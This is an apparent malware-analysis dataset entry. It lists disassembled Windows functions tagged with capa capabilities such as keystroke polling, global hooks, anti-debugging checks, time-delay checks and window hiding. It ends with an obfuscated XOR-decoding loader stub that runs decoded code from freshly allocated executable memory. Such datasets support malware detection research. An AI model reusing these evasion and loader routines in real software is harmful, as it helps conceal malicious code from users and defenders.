joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4577bc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4577f4]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4577d5
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4577e4
or bl, 4
test esi, 0x20000000
je 0x4577ef
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45deb8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45deca
add esp, 0xfffffff0
call fcn.00403d08
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0042558c
mov eax, dword [0x4e9f18]
mov dword [eax + 4], ebx
mov dword [eax], 0x45e25c
mov eax, dword [0x4e9f28]
mov dword [eax + 4], ebx
mov dword [eax], 0x45e268
mov eax, ebx
call fcn.0045e274
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41a448]
call fcn.00403960
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41a448]
call fcn.00403960
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41a448]
call fcn.00403960
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41a448]
call fcn.00403960
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41a448]
call fcn.00403960
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x45a68c
push eax
push 0
push 0
mov eax, dword [0x4ea168]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x427008]
call fcn.004287a0
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x427008]
call fcn.004287a0
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x427008]
call fcn.004287a0
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0045e6c4
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45e58c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45e58c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45e58c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45e007
call fcn.00403d60
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45e370
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45e51b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45e4fc
mov dl, 1
mov eax, dword [0x41aacc]
call fcn.00403960
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404798
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45e4eb
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044c2b0
test al, al
je 0x45e4de
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45e52c
lea eax, [ebp - 0x254]
call fcn.0040a1ec
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45e4de
xor eax, eax
push ebp
push 0x45e4d7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45e564
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45e4c0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404a08
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45e4c0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404a08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45e4de
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45e3e1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041f4a4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45e522
lea eax, [ebp - 0x260]
call fcn.00404798
ret

Function at 0x45ee64
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4ebbe0]
cmp byte [eax + 0xa5], 0
jne 0x45eed5
cmp dword [0x4ebbf8], 0
jne 0x45ee96
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45ee20
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4ebbf8], eax
cmp dword [0x4ebbf4], 0
jne 0x45eeb1
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4ebbf4], eax
cmp dword [0x4ebbfc], 0
jne 0x45eed5
push esp
push 0
push 0
push 0x45edc4
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4ebbfc], eax
pop edx
ret
Function at 0x45f568
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4ebbe0]
cmp dword [eax + 0x30], 0
je 0x45f612
cmp dword [ebx + 0x94], 0
jne 0x45f60c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45f4f8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45f60c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45f5d2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45f60c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041cd48
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45f5e1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x460170
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4601a5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404888
jmp 0x4601b2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004047ec
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4612ec
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x46132d
mov eax, esi
call fcn.004478dc
test al, al
je 0x46132d
mov eax, dword [ebx + 0x84]
call fcn.004475d8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x46132d
push 0
mov eax, dword [ebx + 0x84]
call fcn.004475d8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x46ba54
Capabilities:
Initialize winsock library

Disassembly:
add esp, 0xfffffe70
push esp
push 0x202
call sub.wsock32.dll_WSAStartup
test eax, eax
je 0x46ba73
call sub.wsock32.dll_WSAGetLastError
call fcn.0046a858
add esp, 0x190
ret
Function at 0x46ba84
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x46bbad
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov esi, 1
test edx, edx
je 0x46bac2
inc esi
push 0xbf
push edi
push 0
lea eax, [ebp - 0x10]
push eax
push esi
call sub.user32.dll_MsgWaitForMultipleObjects
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x46baea
call sub.wsock32.dll_WSAGetLastError
call fcn.0046a858
jmp 0x46bb8b
cmp ebx, 0x102
jne 0x46bb0c
lea edx, [ebp - 0x30]
mov eax, dword [0x4ea350]
call fcn.00406908
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.0046a8b0
jmp 0x46bb8b
cmp ebx, esi
jne 0x46bb8b
jmp 0x46bb4d
lea eax, [ebp - 0x2c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x2c]
push eax
call sub.user32.dll_DispatchMessageA
cmp edi, 0xffffffff
je 0x46bb4d
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 8]
cmp edi, eax
jge 0x46bb4d
lea edx, [ebp - 0x34]
mov eax, dword [0x4ea350]
call fcn.00406908
mov eax, dword [ebp - 0x34]
or edx, 0xffffffff
call fcn.0046a8b0
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
call sub.user32.dll_PeekMessageA
test eax, eax
jne 0x46bb12
cmp edi, 0xffffffff
je 0x46bb8b
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 8]
cmp edi, eax
jge 0x46bb8b
lea edx, [ebp - 0x38]
mov eax, dword [0x4ea350]
call fcn.00406908
mov eax, dword [ebp - 0x38]
or edx, 0xffffffff
call fcn.0046a8b0
test ebx, ebx
sete al
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bbb4
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.004047bc
ret
Function at 0x46c85c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
lea edi, [ebp - 0x24]
mov eax, esi
call fcn.0046c93c
cmp dword [eax + 0xc], 0
jle 0x46c934
mov eax, esi
call fcn.0046c93c
push dword [eax + 0xc]
mov eax, ebx
shl eax, 3
imul eax, eax, 0x3e8
pop edx
mov ecx, edx
cdq
idiv ecx
mov ebx, eax
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x46c92d
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [esi + 8]
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetTickCount_1
mov esi, eax
push 0xbf
push ebx
push 0
lea eax, [ebp - 4]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
sub eax, 1
jb 0x46c916
je 0x46c8f7
sub eax, 0x101
jne 0x46c8bd
jmp 0x46c916
push edi
call sub.user32.dll_TranslateMessage
push edi
call sub.user32.dll_DispatchMessageA
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp ebx, eax
jl 0x46c909
push 1
push 0
push 0
push 0
push edi
call sub.user32.dll_PeekMessageA
test eax, eax
jne 0x46c8e0
call sub.kernel32.dll_GetTickCount_1
sub eax, esi
cmp ebx, eax
jl 0x46c916
jmp 0x46c8bd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c934
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetLastError
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48b780
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x48b90b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x3c]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x48b8ee
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c]
mov eax, dword [ebx + 0x98]
mov eax, dword [eax + 0x10]
call fcn.00408bfc
mov edx, dword [ebp - 0x1c]
mov eax, 0x48b924
call fcn.00404d9c
test eax, eax
jle 0x48b7f2
mov ecx, edi
mov dl, 1
mov eax, dword [0x489b50]
call fcn.00489be0
mov dword [ebp - 0x18], eax
mov edi, dword [ebp - 0x18]
mov eax, dword [ebx + 0x98]
mov edx, dword [eax + 0x34]
mov eax, 0x48b934
call fcn.00408cf0
test al, al
je 0x48b865
mov ecx, edi
mov dl, 1
mov eax, dword [0x472e84]
call fcn.004731d0
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x48b85e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00470544
test al, al
je 0x48b848
jmp 0x48b83f
mov edx, dword [ebp - 0x14]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x14], 0
je 0x48b835
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48b8d8
mov eax, dword [ebp - 0x14]
call fcn.00403990
ret
mov eax, ebx
call fcn.0048b93c
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x48b880
cmp dword [ebp - 8], 0
jae 0x48b89c
jmp 0x48b882
jge 0x48b89c
mov eax, ebx
call fcn.00470544
test al, al
je 0x48b8d8
mov byte [esi + 0x78], 1
mov edx, edi
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
jmp 0x48b8d8
mov eax, dword [esi + 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x24]
mov dword [ebp - 0xc], eax
mov eax, ebx
call fcn.00470544
test al, al
je 0x48b8d8
jmp 0x48b8be
mov edx, edi
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [esi + 0x20]
mov edx, dword [esi + 0x24]
sub eax, dword [ebp - 0x10]
sbb edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 4]
jne 0x48b8d6
cmp eax, dword [ebp - 8]
jb 0x48b8b5
jmp 0x48b8d8
jl 0x48b8b5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48b8f5
mov eax, dword [ebp - 0x18]
call fcn.00403990
ret
Function at 0x4903b4
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4906ca
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2c]
mov edx, dword [0x4687e4]
call fcn.00405ce4
push 4
lea eax, [ebp - 0x24]
mov ecx, 1
mov edx, dword [0x4687e4]
call fcn.00405bb8
add esp, 4
mov eax, dword [ebp - 0x24]
mov byte [eax], 0xd
mov eax, dword [ebp - 0x24]
mov byte [eax + 1], 0xa
mov eax, dword [ebp - 0x24]
mov byte [eax + 2], 0xd
mov eax, dword [ebp - 0x24]
mov byte [eax + 3], 0xa
push 2
lea eax, [ebp - 0x28]
mov ecx, 1
mov edx, dword [0x4687e4]
call fcn.00405bb8
add esp, 4
mov eax, dword [ebp - 0x28]
mov byte [eax], 0xa
mov eax, dword [ebp - 0x28]
mov byte [eax + 1], 0xa
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.0041f5d8
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0xac], edx
mov eax, dword [ebp - 4]
add eax, 0xb0
call fcn.00404798
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xa0]
mov edx, dword [ebp - 4]
mov byte [edx + 0xe0], al
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x3c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x79], 0
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x78], 0
mov eax, dword [ebp - 0x30]
mov edx, dword [eax + 0x30]
mov dword [ebp - 0x20], edx
mov edx, dword [eax + 0x34]
mov dword [ebp - 0x1c], edx
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x30]
call fcn.0046be90
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x30]
cdq
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x30], eax
mov dword [ecx + 0x34], edx
xor eax, eax
push ebp
push 0x490506
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49050d
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x20]
mov dword [eax + 0x30], edx
mov edx, dword [ebp - 0x1c]
mov dword [eax + 0x34], edx
ret
Function at 0x498c74
Capabilities:
Read file via mapping

Disassembly:
push ebx
mov ebx, eax
push 0
push 0
push 0
push 6
push ebx
call sub.kernel32.dll_MapViewOfFile
pop ebx
ret
Function at 0x4df304
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x108], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4df4da
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
cmp dword [edi + 0x38], 0
jne 0x4df4c1
mov eax, dword [edi + 0x30]
call fcn.00404a58
test eax, eax
jne 0x4df35a
mov eax, dword [edi + 0x34]
call fcn.00404a58
test eax, eax
jne 0x4df35a
mov eax, edi
call fcn.004df578
jmp 0x4df4c1
cmp dword [edi + 0xa0], 0
jne 0x4df391
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x30]
call fcn.00409bfc
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4eca68]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa0], eax
cmp dword [edi + 0xa4], 0
jne 0x4df3c8
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0x34]
call fcn.00409bfc
push 0x3ec
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4eca68]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_DdeCreateStringHandleA
mov dword [edi + 0xa4], eax
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.004df5b8
mov ebx, eax
test bl, bl
jne 0x4df476
mov eax, dword [edi + 0x30]
call fcn.00404a58
test eax, eax
jne 0x4df400
mov eax, dword [edi + 0xc0]
call fcn.00404a58
test eax, eax
je 0x4df476
mov eax, dword [edi + 0xc0]
call fcn.00404a58
test eax, eax
je 0x4df422
lea eax, [ebp - 0x101]
mov edx, dword [edi + 0xc0]
call fcn.00409bfc
jmp 0x4df44e
push dword [edi + 0x30]
push 0x4df4f4
push dword [edi + 0x34]
lea eax, [ebp - 0x108]
mov edx, 3
call fcn.00404b18
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 0x101]
call fcn.00409bfc
push 7
lea eax, [ebp - 0x101]
push eax
call sub.kernel32.dll_WinExec
cmp eax, 0x20
jb 0x4df476
mov ecx, dword [edi + 0xa4]
mov edx, dword [edi + 0xa0]
mov eax, edi
call fcn.004df5b8
mov ebx, eax
test bl, bl
jne 0x4df483
mov eax, edi
call fcn.004df578
jmp 0x4df4c1
mov eax, dword [edi + 0x58]
test eax, eax
je 0x4df492
mov dword [edi + 0xa8], eax
jmp 0x4df49c
mov dword [edi + 0xa8], 1
mov eax, edi
call fcn.004df630
test al, al
je 0x4df4c1
mov eax, edi
mov si, 0xffee
call fcn.00403b98
xor ecx, ecx
xor edx, edx
mov eax, edi
call fcn.004df6dc
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4df4e1
lea eax, [ebp - 0x108]
call fcn.00404798
ret
Function at 0x4e282c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push ebx
xor eax, eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x110], eax
xor eax, eax
push ebp
push 0x4e2959
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x110]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00404a08
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x10c]
call fcn.0040e01c
lea eax, [ebp - 0x10c]
mov edx, 0x4e2970
call fcn.00404a60
mov eax, dword [ebp - 0x10c]
call fcn.00409930
test al, al
jne 0x4e28ff
lea eax, [ebp - 0x118]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00404a08
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x114]
call fcn.0040e01c
lea eax, [ebp - 0x114]
mov edx, 0x4e2980
call fcn.00404a60
mov eax, dword [ebp - 0x114]
call fcn.00409930
test al, al
jne 0x4e28ff
xor ebx, ebx
jmp 0x4e2901
mov bl, 1
test bl, bl
jne 0x4e293b
push 0
push 0x4e2990
call sub.user32.dll_FindWindowA
test eax, eax
jne 0x4e2939
push 0
push 0x4e2998
call sub.user32.dll_FindWindowA
test eax, eax
jne 0x4e2939
push 0
push 0x4e29ac
call sub.user32.dll_FindWindowA
test eax, eax
jne 0x4e2939
xor ebx, ebx
jmp 0x4e293b
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e2960
lea eax, [ebp - 0x118]
mov edx, 4
call fcn.004047bc
ret
Function at 0x1000cac3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [0x100139e8]
mov ebx, ecx
push edi
mov edi, edx
mov dword [ebp - 8], edi
mov esi, dword [eax + esi*4]
mov eax, dword [0x10013e80]
cmp eax, dword [esi + 4]
jg 0x1000cb78
lea eax, [ebx + edi]
cmp eax, ebx
ja 0x1000cb01
mov eax, 0x10dd
jmp 0x1000cb71
mov eax, dword [0x10013e7c]
cmp edi, eax
jbe 0x1000cb0f
push 0x32
pop eax
jmp 0x1000cb71
mov edi, dword [ebp + 8]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
lea esi, [eax - 1]
push ecx
not esi
push dword [edi]
and esi, ebx
push eax
push esi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x1000cb37
call dword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1000cb71
mov ecx, dword [0x10013e7c]
mov eax, dword [ebp - 8]
dec ecx
mov edx, dword [ebp - 4]
dec eax
add eax, ebx
mov dword [edi], edx
not ecx
and ecx, eax
cmp ecx, esi
je 0x1000cb6c
lea eax, [ebp - 4]
push eax
push dword [edi + 4]
push dword [0x10013e7c]
push ecx
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x1000cb2f
mov edx, dword [ebp - 4]
mov dword [edi + 4], edx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov esi, 0x10013e80
push esi
call fcn.1000cd54
cmp dword [0x10013e80], 0xffffffff
pop ecx
jne 0x1000caf3
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x28]
push esi
mov dword [0x10013e7c], eax
call fcn.1000cd54
mov edi, dword [ebp - 8]
pop ecx
jmp 0x1000caf3

Function at 0x1000cd54
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000cd63
pop dword [ebp - 0x18]
mov eax, 0x1000cd63
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3a293
push 0
mov eax, 0x43769741
sub eax, 0x337556dd
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x3a2b095c
sub ecx, 0x3a2abcc1
xor edi, edi
add edi, eax
mov edx, 0x10018600
add edx, dword [ebp - 0x18]
mov esi, 0xfd6e495d
sub esi, 0xbe3eb396
mov ebx, dword [edx]
xor dword [ebp - 0xc], 0x86370fd2
xor ebx, esi
sub dword [ebp - 0x14], 0xfa386431
mov dword [edi], ebx
xor dword [ebp - 0x14], ebx
add edi, 4
add edx, 4
loop 0x1000cdb9
add eax, 0x1253f
mov ebx, eax
add eax, 0x799bcd46
add eax, 0x866432bf
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret